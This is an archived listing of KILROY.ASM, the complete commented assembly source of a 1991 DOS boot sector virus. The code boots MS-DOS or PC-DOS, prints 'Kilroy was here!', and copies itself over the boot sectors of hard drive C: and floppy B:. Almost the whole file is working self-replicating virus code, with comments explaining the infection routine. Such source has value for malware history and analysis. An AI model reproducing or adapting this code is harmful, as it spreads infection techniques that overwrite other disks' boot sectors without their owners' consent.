home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / SOURCE.ZIP / KILROY.ASM < prev    next >
Assembly Source File  |  1991-04-01  |  18KB  |  315 lines

  1. ;The KILROY one-sector boot sector virus will both boot up either MS-DOS or
  2. ;PC-DOS and it will infect other disks.
  3.  
  4. ;This segment is where the first operating system file (IBMBIO.COM or IO.SYS)
  5. ;will be loaded and executed from. We don't know (or care) what is there, but
  6. ;we do need the address to jump to defined in a separate segment so we can
  7. ;execute a far jump to it.
  8. DOS_LOAD        SEGMENT AT 0070H
  9.                 ASSUME  CS:DOS_LOAD
  10.  
  11.                 ORG     0
  12.  
  13. LOAD:           DB      0               ;Start of the first operating system program
  14.  
  15. DOS_LOAD        ENDS
  16.  
  17.  
  18. MAIN            SEGMENT BYTE
  19.                 ASSUME  CS:MAIN,DS:MAIN,SS:NOTHING
  20.  
  21. ;This jump instruction is just here so we can compile this program as a COM
  22. ;file. It is never actually executed, and never becomes a part of the boot
  23. ;sector. Only the 512 bytes after the address 7C00 in this file become part of
  24. ;the boot sector.
  25.                 ORG     100H
  26.  
  27. START:          jmp     BOOTSEC
  28.  
  29. ;The following two definitions are BIOS RAM bytes which contain information
  30. ;about the number and type of disk drives in the computer. These are needed by
  31. ;the virus to decide on where to look to find drives to infect. They are not
  32. ;normally needed by an ordinary boot sector.
  33.  
  34.                 ORG     0410H
  35.  
  36. SYSTEM_INFO:    DB      ?                       ;System info byte: Take bits 6 & 7 and add 1 to get number of
  37.                                                 ;disk drives on this system (eg 01 = 2 drives)
  38.  
  39.                 ORG     0475H
  40.  
  41. HD_COUNT:       DB      ?                       ;Number of hard drives in the system
  42.  
  43. ;This area is reserved for loading the boot sector from the disk which is going
  44. ;to be infected, as well as the first sector of the root directory, when
  45. ;checking for the existence of system files and loading the first system file.
  46.  
  47.                 ORG     0500H
  48.  
  49. DISK_BUF:       DW      ?                       ;Start of the buffer
  50.  
  51.                 ORG     06FEH
  52.  
  53. NEW_ID:         DW      ?                       ;Location of AA55H in boot sector loaded at DISK_BUF
  54.  
  55. ;Here is the start of the boot sector code. This is the chunk we will take out
  56. ;of the compiled COM file and put it in the first sector on a 360K floppy disk.
  57. ;Note that this MUST be loaded onto a 360K floppy to work, because the
  58. ;parameters in the data area that follow are set up to work only with a 360K
  59. ;disk!
  60.  
  61.                 ORG     7C00H
  62.  
  63. BOOTSEC:        JMP     BOOT                    ;Jump to start of boot sector code
  64.  
  65.                 ORG     7C03H                   ;This is needed because the jump will get coded as 2 bytes
  66.  
  67. DOS_ID:         DB      'KILROY  '              ;Name of this boot sector (8 bytes)
  68. SEC_SIZE:       DW      200H                    ;Size of a sector, in bytes
  69. SECS_PER_CLUST: DB      02                      ;Number of sectors in a cluster
  70. FAT_START:      DW      1                       ;Starting sector for the first File Allocation Table (FAT)
  71. FAT_COUNT:      DB      2                       ;Number of FATs on this disk
  72. ROOT_ENTRIES:   DW      70H                     ;Number of root directory entries
  73. SEC_COUNT:      DW      2D0H                    ;Total number of sectors on this disk
  74. DISK_ID:        DB      0FDH                    ;Disk type code (This is 360KB)
  75. SECS_PER_FAT:   DW      2                       ;Number of sectors per FAT
  76. SECS_PER_TRK:   DW      9                       ;Sectors per track for this drive
  77. HEADS:          DW      2                       ;Number of heads (sides) on this drive
  78. HIDDEN_SECS:    DW      0                       ;Number of hidden sectors on the disk
  79.  
  80. DSKBASETBL:
  81.                 DB      0                       ;Specify byte 1: step rate time, head unload time
  82.                 DB      0                       ;Specify byte 2: Head load time, DMA mode
  83.                 DB      0                       ;Wait time until motor turned off, in clock ticks
  84.                 DB      0                       ;Bytes per sector (0=128, 1=256, 2=512, 3=1024)
  85.                 DB      12H                     ;Last sector number (we make it large enough to handle 1.2/1.44 MB floppies)
  86.                 DB      0                       ;Gap length between sectors for r/w operations, in bytes
  87.                 DB      0                       ;Data transfer length when sector length not specified
  88.                 DB      0                       ;Gap length between sectors for format operations, in bytes
  89.                 DB      0                       ;Value stored in newly formatted sectors
  90.                 DB      1                       ;Head settle time, in milliseconds (we set it small to speed operations)
  91.                 DB      0                       ;Motor startup time, in 1/8 seconds
  92.  
  93. HEAD:           DB      0                       ;Current head to read from (scratch area used by boot sector)
  94.  
  95. ;Here is the start of the boot sector code
  96.  
  97. BOOT:           CLI                                     ;interrupts off
  98.                 XOR     AX,AX                           ;prepare to set up segments
  99.                 MOV     ES,AX                           ;set ES=0
  100.                 MOV     SS,AX                           ;start stack at 0000:7C00
  101.                 MOV     SP,OFFSET BOOTSEC
  102.                 MOV     BX,1EH*4                        ;get address of disk
  103.                 LDS     SI,SS:[BX]                      ;param table in ds:si
  104.                 PUSH    DS
  105.                 PUSH    SI                              ;save that address
  106.                 PUSH    SS
  107.                 PUSH    BX                              ;and its address
  108.  
  109.                 MOV     DI,OFFSET DSKBASETBL            ;and update default
  110.                 MOV     CX,11                           ;values to the table stored here
  111.                 CLD                                     ;direction flag cleared
  112. DFLT1:          LODSB
  113.                 CMP     BYTE PTR ES:[DI],0              ;anything non-zero
  114.                 JNZ     SHORT DFLT2                     ;is not a default, so don't save it
  115.                 STOSB                                   ;else put default value in place
  116.                 JMP     SHORT DFLT3                     ;and go on to next
  117. DFLT2:          INC     DI
  118. DFLT3:          LOOP    DFLT1                           ;and loop until cx=0
  119.  
  120.                 MOV     AL,AH                           ;set ax=0
  121.                 MOV     DS,AX                           ;set ds=0 so we can set disk tbl
  122.                 MOV     WORD PTR [BX+2],AX              ;to @DSKBASETBL (ax=0 here)
  123.                 MOV     WORD PTR [BX],OFFSET DSKBASETBL ;ok, done
  124.                 STI                                     ;now turn interrupts on
  125.                 INT     13H                             ;and reset disk drive system
  126. ERROR1:         JC      ERROR1                          ;if an error, hang the machine
  127.  
  128. ;Attempt to self reproduce. If this boot sector is located on drive A, it will
  129. ;attempt to relocate to drive C. If successful, it will stop, otherwise it will
  130. ;attempt to relocate to drive B. If this boot sector is located on drive C, it
  131. ;will attempt to relocate to drive B.
  132. SPREAD:
  133.                 CALL    DISP_MSG                        ;Display the "Kilroy was here!" message
  134.                 MOV     BX,OFFSET DISK_BUF              ;read other boot sectors into this buffer
  135.                 CMP     BYTE PTR [DRIVE],80H
  136.                 JZ      SPREAD2                         ;if it's C, go try to spread to B
  137.                 MOV     DX,180H                         ;if it's A, try to spread to C first, try Head 1
  138.                 CMP     BYTE PTR [HD_COUNT],0           ;see if there is a hard drive
  139.                 JZ      SPREAD2                         ;none - try floppy B
  140.                 MOV     CX,1                            ;read Track 0, Sector 1
  141.                 MOV     AX,201H
  142.                 INT     13H
  143.                 JC      SPREAD2                         ;on error, go try drive B
  144.                 CMP     WORD PTR [NEW_ID],0AA55H        ;make sure it really is a boot sector
  145.                 JNZ     SPREAD2
  146.                 CALL    MOVE_DATA
  147.                 MOV     DX,180H                         ;and go write the new sector
  148.                 MOV     CX,1
  149.                 MOV     AX,301H
  150.                 INT     13H
  151.                 JC      SPREAD2                         ;if an error writing to C:, try infecting B:
  152.                 JMP     SHORT LOOK_SYS                  ;if no error, go look for system files
  153. SPREAD2:        MOV     AL,BYTE PTR [SYSTEM_INFO]       ;first see if there is a B drive
  154.                 AND     AL,0C0H
  155.                 ROL     AL,1                            ;put bits 6 & 7 into bits 0 & 1
  156.                 ROL     AL,1
  157.                 INC     AL                              ;add one, so now AL=# of drives
  158.                 CMP     AL,2
  159.                 JC      LOOK_SYS                        ;no B drive, just quit
  160.                 MOV     DX,1                            ;read drive B
  161.                 MOV     AX,201H                         ;read one sector
  162.                 MOV     CX,1                            ;read Track 0, Sector 1
  163.                 INT     13H
  164.                 JC      LOOK_SYS                        ;if an error here, just exit
  165.                 CMP     WORD PTR [NEW_ID],0AA55H        ;make sure it really is a boot sector
  166.                 JNZ     LOOK_SYS                        ;no, don't attempt reproduction
  167.                 CALL    MOVE_DATA                       ;yes, move this boot sector in place
  168.                 MOV     DX,1
  169.                 MOV     AX,301H                         ;and write this boot sector to drive B
  170.                 MOV     CX,1
  171.                 INT     13H
  172.  
  173. ;Here we look at the first file on the disk to see if it is the first MS-DOS or
  174. ;PC-DOS system file, IO.SYS or IBMBIO.COM, respectively.
  175. LOOK_SYS:
  176.                 MOV     AL,BYTE PTR [FAT_COUNT]         ;get fats per disk
  177.                 XOR     AH,AH
  178.                 MUL     WORD PTR [SECS_PER_FAT]         ;multiply by sectors per fat
  179.                 ADD     AX,WORD PTR [HIDDEN_SECS]       ;add hidden sectors
  180.                 ADD     AX,WORD PTR [FAT_START]         ;add starting fat sector
  181.  
  182.                 PUSH    AX
  183.                 MOV     WORD PTR [DOS_ID],AX            ;root dir, save it
  184.  
  185.                 MOV     AX,20H                          ;dir entry size
  186.                 MUL     WORD PTR [ROOT_ENTRIES]         ;dir size in ax
  187.                 MOV     BX,WORD PTR [SEC_SIZE]          ;sector size
  188.                 ADD     AX,BX                           ;add one sector
  189.                 DEC     AX                              ;decrement by 1
  190.                 DIV     BX                              ;ax=# sectors in root dir
  191.                 ADD     WORD PTR [DOS_ID],AX            ;DOS_ID=start of data
  192.                 MOV     BX,OFFSET DISK_BUF              ;set up disk read buffer at 0000:0500
  193.                 POP     AX
  194.                 CALL    CONVERT                         ;and go convert sequential sector number to bios data
  195.                 MOV     AL,1                            ;prepare for a disk read for 1 sector
  196.                 CALL    READ_DISK                       ;go read it
  197.  
  198.                 MOV     DI,BX                           ;compare first file on disk with
  199.                 MOV     CX,11                           ;required file name
  200.                 MOV     SI,OFFSET SYSFILE_1             ;of first system file for PC DOS
  201.                 REPZ    CMPSB
  202.                 JZ      SYSTEM_THERE                    ;ok, found it, go load it
  203.  
  204.                 MOV     DI,BX                           ;compare first file with
  205.                 MOV     CX,11                           ;required file name
  206.                 MOV     SI,OFFSET SYSFILE_2             ;of first system file for MS DOS
  207.                 REPZ    CMPSB
  208. ERROR2:         JNZ     ERROR2                          ;not the same - an error, so hang the machine
  209.  
  210. ;Ok, system file is there, so load it
  211. SYSTEM_THERE:
  212.                 MOV     AX,WORD PTR [DISK_BUF+1CH]      ;get file size of IBMBIO.COM/IO.SYS
  213.                 XOR     DX,DX
  214.                 DIV     WORD PTR [SEC_SIZE]             ;and divide by sector size
  215.                 INC     AL                              ;ax=number of sectors to read
  216.                 MOV     BP,AX                           ;store that number in BP
  217.                 MOV     AX,WORD PTR [DOS_ID]            ;get sector number of start of data
  218.                 PUSH    AX
  219.                 MOV     BX,700H                         ;set disk read buffer to 0000:0700
  220. RD_BOOT1:       MOV     AX,WORD PTR [DOS_ID]            ;and get sector to read
  221.                 CALL    CONVERT                         ;convert to bios Trk/Cyl/Sec info
  222.                 MOV     AL,1                            ;read one sector
  223.                 CALL    READ_DISK                       ;go read the disk
  224.                 SUB     BP,1                            ;subtract 1 from number of sectors to read
  225.                 JZ      DO_BOOT                         ;and quit if we're done
  226.                 ADD     WORD PTR [DOS_ID],1             ;add sectors read to sector to read
  227.                 ADD     BX,WORD PTR [SEC_SIZE]          ;and update buffer address
  228.                 JMP     RD_BOOT1                        ;then go for another
  229.  
  230.  
  231. ;Ok, the first system file has been read in, now transfer control to it
  232. DO_BOOT:
  233.                 MOV     CH,BYTE PTR [DISK_ID]           ;Put drive type in ch
  234.                 MOV     DL,BYTE PTR [DRIVE]             ;Drive number in dl
  235.                 POP     BX
  236. ;               JMP     FAR PTR LOAD                    ;use the nicer far jump if compiling with MASM or TASM
  237.                 MOV     AX,0070H                        ;A86 is too stupid to handle that,
  238.                 PUSH    AX                              ;so let's fool it with a far return
  239.                 XOR     AX,AX
  240.                 PUSH    AX
  241.                 RETF
  242.  
  243.  
  244. ;Convert sequential sector number in ax to BIOS Track, Head, Sector information.
  245. ;Save track number in DX, sector number in CH,
  246. CONVERT:
  247.                 XOR     DX,DX
  248.                 DIV     WORD PTR [SECS_PER_TRK]         ;divide ax by sectors per track
  249.                 INC     DL                              ;dl=sector number to start read on, al=track/head count
  250.                 MOV     CH,DL                           ;save it here
  251.                 XOR     DX,DX
  252.                 DIV     WORD PTR [HEADS]                ;divide ax by head count
  253.                 MOV     BYTE PTR [HEAD],DL              ;dl=head number, save it
  254.                 MOV     DX,AX                           ;ax=track number, save it in dx
  255.                 RET
  256.  
  257.  
  258. ;Read the disk for the number of sectors in al, into the buffer es:bx, using
  259. ;the track number in DX, the head number at HEAD, and the sector
  260. ;number at CH.
  261. READ_DISK:
  262.                 MOV     AH,2                            ;read disk command
  263.                 MOV     CL,6                            ;shift possible upper 2 bits of track number to
  264.                 SHL     DH,CL                           ;the high bits in dh
  265.                 OR      DH,CH                           ;and put sector number in the low 6 bits
  266.                 MOV     CX,DX
  267.                 XCHG    CH,CL                           ;ch (0-5) = sector, cl, ch (6-7) = track
  268.                 MOV     DL,BYTE PTR [DRIVE]             ;get drive number from here
  269.                 MOV     DH,BYTE PTR [HEAD]              ;and head number from here
  270.                 INT     13H                             ;go read the disk
  271. ERROR3:         JC      ERROR3                          ;hang in case of an error
  272.                 RET
  273.  
  274. ;Move data that doesn't change from this boot sector to the one read in at
  275. ;DISK_BUF. That includes everything but the DRIVE ID (at offset 7DFDH) and
  276. ;the data area at the beginning of the boot sector.
  277. MOVE_DATA:
  278.                 MOV     SI,OFFSET DSKBASETBL            ;Move all of the boot sector code after the data area
  279.                 MOV     DI,OFFSET DISK_BUF + (OFFSET DSKBASETBL - OFFSET BOOTSEC)
  280.                 MOV     CX,OFFSET DRIVE - OFFSET DSKBASETBL
  281.                 REP     MOVSB
  282.                 MOV     SI,OFFSET BOOTSEC               ;Move the initial jump and the sector ID
  283.                 MOV     DI,OFFSET DISK_BUF
  284.                 MOV     CX,11
  285.                 REP     MOVSB
  286.                 RET
  287.  
  288. ;Display the null terminated string at MESSAGE.
  289. DISP_MSG:
  290.                 MOV     SI,OFFSET MESSAGE               ;set offset of message up
  291. DM1:            MOV     AH,0EH                          ;Execute BIOS INT 10H, Fctn 0EH (Display Char)
  292.                 LODSB                                   ;get character to display
  293.                 OR      AL,AL
  294.                 JZ      DM2                             ;repeat until 0
  295.                 INT     10H                             ;display it
  296.                 JMP     SHORT DM1                       ;and get another
  297. DM2:            RET
  298.  
  299.  
  300. SYSFILE_1:      DB      'IBMBIO  COM'                   ;PC DOS System file
  301. SYSFILE_2:      DB      'IO      SYS'                   ;MS DOS System file
  302. MESSAGE:        DB      'Kilroy was here!',0DH,0AH,0AH,0
  303.  
  304.                 ORG     7DFDH
  305.  
  306. DRIVE:          DB      0                               ;Disk drive (A or C) for this sector
  307.  
  308. BOOT_ID:        DW      0AA55H                          ;Boot sector ID word
  309.  
  310.  
  311. MAIN            ENDS
  312.  
  313.  
  314.                 END START
  315.